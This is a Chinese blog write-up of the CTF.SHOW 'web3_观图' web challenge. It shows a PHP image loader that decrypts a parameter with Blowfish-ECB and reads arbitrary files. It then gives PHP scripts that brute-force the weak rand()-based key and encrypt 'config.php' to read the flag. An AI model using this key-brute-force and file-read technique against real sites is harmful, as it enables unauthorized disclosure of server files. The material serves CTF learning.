「配枪朱丽叶。」 「配枪朱丽叶。」
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
我的主页 › CTF › [CTF.SHOW]web3_观图_WEB_AK赛1 min read
#CTF#

[CTF.SHOW]web3_观图_WEB_AK赛1 min read

3月前
171 0

访问showImage.php:

<?php

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?>

分析代码得到以下关键信息:

  • $key = substr(md5(‘ctfshow’.rand()),3,8);
  • flag in config.php
  • 想读取config.php的内容,需要知道$key的值

因为Z6Ilu83MIDw=是经过openssl_encrypt处理后的结果,所以可以利用它来爆破密钥。rand()函数的官方文档说明如下:

产生一个随机整数

如果没有提供可选参数 min 和 max,rand() 返回 0 到 getrandmax() 之间的伪随机整数。

经测试,最大为32767。(报错的话,php.ini去掉;extension=php_openssl.dll前面的;)

<?php
for($i=0;$i<32767;$i++){
    $key = substr(md5('ctfshow'.$i),3,8);
    $image = "Z6Ilu83MIDw=";
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(preg_match('/jpg|gif|png/',$str)){
        echo $i."<br>".$str;
        break;
    }
}
?>

运行后得到key值为27347。

接下来计算config.php加密后的值即可。

<?php
$rand = 27347;
$key = substr(md5('ctfshow'.$rand),3,8);
$image = "config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo $str;
?>
0 0
Shaw Root
# ctf-show# php
相关文章
virink_2019_files_share
[Vulnhub]GoldenEye: 1靶机通关记录
[SUCTF 2019]EasyWeb
[BMZCTF]WEB_ezphp
通过一道校赛题学习过滤单引号的注入
头像
Shaw Root站长
> 生活温暖顺心 其他别无他求。
144文章 0评论 128获赞
随便看看:)
通过一道校赛题学习过滤单引号的注入
3周前
[watevrCTF-2019]Pickle Store(序列化笔记)
10月前
[CSAWQual 2019]Web_Unagi
12月前
[SWPU2019]Web3
2月前
[极客大挑战 2019]FinalSQL
5月前
  • 旧站
  • 我的知乎
  • Riro
  • 7i4n2h3n9
  • EDS
  • 熵增
  • 紫哥purplet
  • 夏风
  • N0vice
  • Ga1@xy
  • prontosil
  • FzWjScJ
  • Retr_0
  • L1near
  • 1p0ch
  • β-AS
  • Match
  • Dizzyk
  • Y1ng
  • 偏有宸机
  • Van1sh
  • Fstone
  • Kali’s Blog
  • Airtail
  • False
  • 魔法少女雪殇
Copyright © 2020-2021 「配枪朱丽叶。」. Designed by nicetheme. 百度统计 载入天数... 载入时分秒...